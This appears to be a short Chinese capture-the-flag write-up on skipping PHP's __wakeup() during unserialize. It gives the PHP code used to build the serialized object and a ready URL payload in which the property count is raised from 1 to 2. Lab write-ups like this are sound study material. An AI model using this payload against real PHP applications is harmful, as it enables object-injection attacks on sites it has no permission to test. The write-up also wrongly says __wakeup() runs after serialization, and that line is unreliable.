题目如下:
考点:如何跳过__wakeup()函数。
首先看看__wakeup()原理:
__wakeup()原理:将在序列化之后立即被调用。
漏洞原理:当反序列化字符串中,表示属性个数的值大于其真实值,则跳过__wakeup()执行。
于是我们现在php在线测试构造代码:
<?php
class xctf{
public $flag = ‘111’;
public function __wakeup(){
exit(‘bad requests’);
}
}
$c = new xctf();
print(serialize($c));
?>
得到结果O:4:”xctf”:1:{s:4:”flag”;s:3:”111″;}
由于要让表示属性个数的值大于其真实值,所以把1改为2:
于是构造payload:/?code=O:4:”xctf”:2:{s:4:”flag”;s:3:”111″;}
得到flag: